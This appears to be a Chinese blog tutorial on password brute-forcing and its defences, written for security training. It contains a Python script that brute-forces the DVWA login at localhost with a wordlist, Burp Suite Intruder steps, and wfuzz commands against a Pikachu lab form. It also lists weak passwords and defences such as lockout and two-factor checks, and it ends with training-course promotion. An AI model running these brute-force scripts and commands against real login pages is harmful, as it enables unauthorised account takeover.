密码暴力破解与防御

最新推荐文章于 2023-11-06 10:53:04 发布

网安学习

最新推荐文章于 2023-11-06 10:53:04 发布

阅读量201

点赞数

分类专栏：网络安全程序员黑客文章标签：安全 flask web安全

本文链接：https://blog.csdn.net/2302_76672693/article/details/132077958

版权

网络安全同时被 3 个专栏收录

343 篇文章 1 订阅

订阅专栏

程序员

266 篇文章 1 订阅

订阅专栏

黑客

196 篇文章 1 订阅

订阅专栏

前言

密码安全概述

加密、完整性、身份认证

存储安全、传输安全、输入安全

漏洞利用

从数据库获取密码

窃听通信数据

直接从登录框猜测数据

权限管理

认证：你是谁？

授权：你能做什么？

【----帮助技术学习，以下所有学习资料文末免费领！----】

不安全的密码

默认密码

000000

123456

空密码

身份证后六位

手机后六位

弱口令

裤子

已经泄漏的密码

密码猜解思路

猜测范围

密码长度

密码内容

APP密码范围

字典

kali字典存放路径

专门字典

【1】指定格式的字典，比如生日、手机号、QQ号 crunch -h

【2】社工字典

cupp、ccupp

【3】文章内容字典

cewl https://sqlmap.org -w dict.txt

python暴力破解

从字典取其值，生成密码

# -*- coding: utf-8 -*-
# python 3

pwds = open("password.txt")
for pwd in pwds:
    print(pwd)

pwds.close()

HTTP连接到需要爆破的地址

# -*- coding: utf-8 -*-
# python 3

import requests
# 如果第一个密码就提示成功，是 PHPSESSID 没有替换的问题
pwds = open("password.txt")
for pwd in pwds:
    url = "http://localhost/dvwa/vulnerabilities/brute/"
    # PHPSESSID务必替换为登录以后的PHPSESSID
    resp = requests.get(url = url, params = {"username":"admin", "password":pwd.strip(), "Login":"Login"}, headers = {"Cookie":"security=low; PHPSESSID=sm7bdfe4r6c03ai9682timdlu1"})
    #print(resp.text)
    if 'Username and/or password incorrect.' in resp.text:
        print('破解失败：'+pwd, end='')
    else:
        print('破解成功：'+pwd, end='')
        break;
pwds.close()

安装requests

获得HTTP响应，分析响应结果，看看有没有错误提示

如果有提示，就继续下一次循环

如果没有，就继续下一次循环

Burp Suite暴力破解

Low

设置好代理

抓包成功

使用intruder模式

选择模式，选择攻击的字段

导入密码字典

开始攻击

攻击完成，单击排序

查看length最长即为密码

Medium

做了一个延迟，影响很小

High

抓包

设置intruder

Bp其他攻击模式

攻城锤：所有字段都一样

草叉：可以选择两个字段，并分别设置字典

榴霰弹：两个字典可以交叉匹配

Impossible

限制猜解的时间和次数

如何防御暴力破解

【1】二次验证

【2】限制次数，锁定账户

【3】WAF

【4】IP验证

【5】行为识别，异地登录

【6】强制修改密码

【7】取消密码注册

其他暴力破解工具

wfuzz

piachu

wfuzz -z file,user -z file,pass -d “username=FUZZ&password=FUZ2Z&submit=login” http://192.168.202.139/pikachu/vul/burteforce/bf_form.php

wfuzz -z file,user -z file,pass --hw 1797 -d “username=FUZZ&password=FUZ2Z&submit=login” http://192.168.202.139/pikachu/vul/burteforce/bf_form.php

Hydra

Mudusa

MSF

最后，别忘了点赞哈~

拿下NISP-SO网络安全证书之后，身为普通的你可以：

跨越90%企业的招聘硬门槛

增加70%就业机会

拿下BAT全国TOP100大厂敲门砖

体系化得到网络技术硬实力

IE大佬年薪可达30w+

如何入门学习网络安全【黑客】

【----帮助网安学习，以下所有学习资料文末免费领取！----】

> ① 网安学习成长路径思维导图
> ② 60+网安经典常用工具包
> ③ 100+SRC漏洞分析报告
> ④ 150+网安攻防实战技术电子书
> ⑤ 最权威CISSP 认证考试指南+题库
> ⑥ 超1800页CTF实战技巧手册
> ⑦ 最新网安大厂面试题合集（含答案）
> ⑧ APP客户端安全检测指南（安卓+IOS）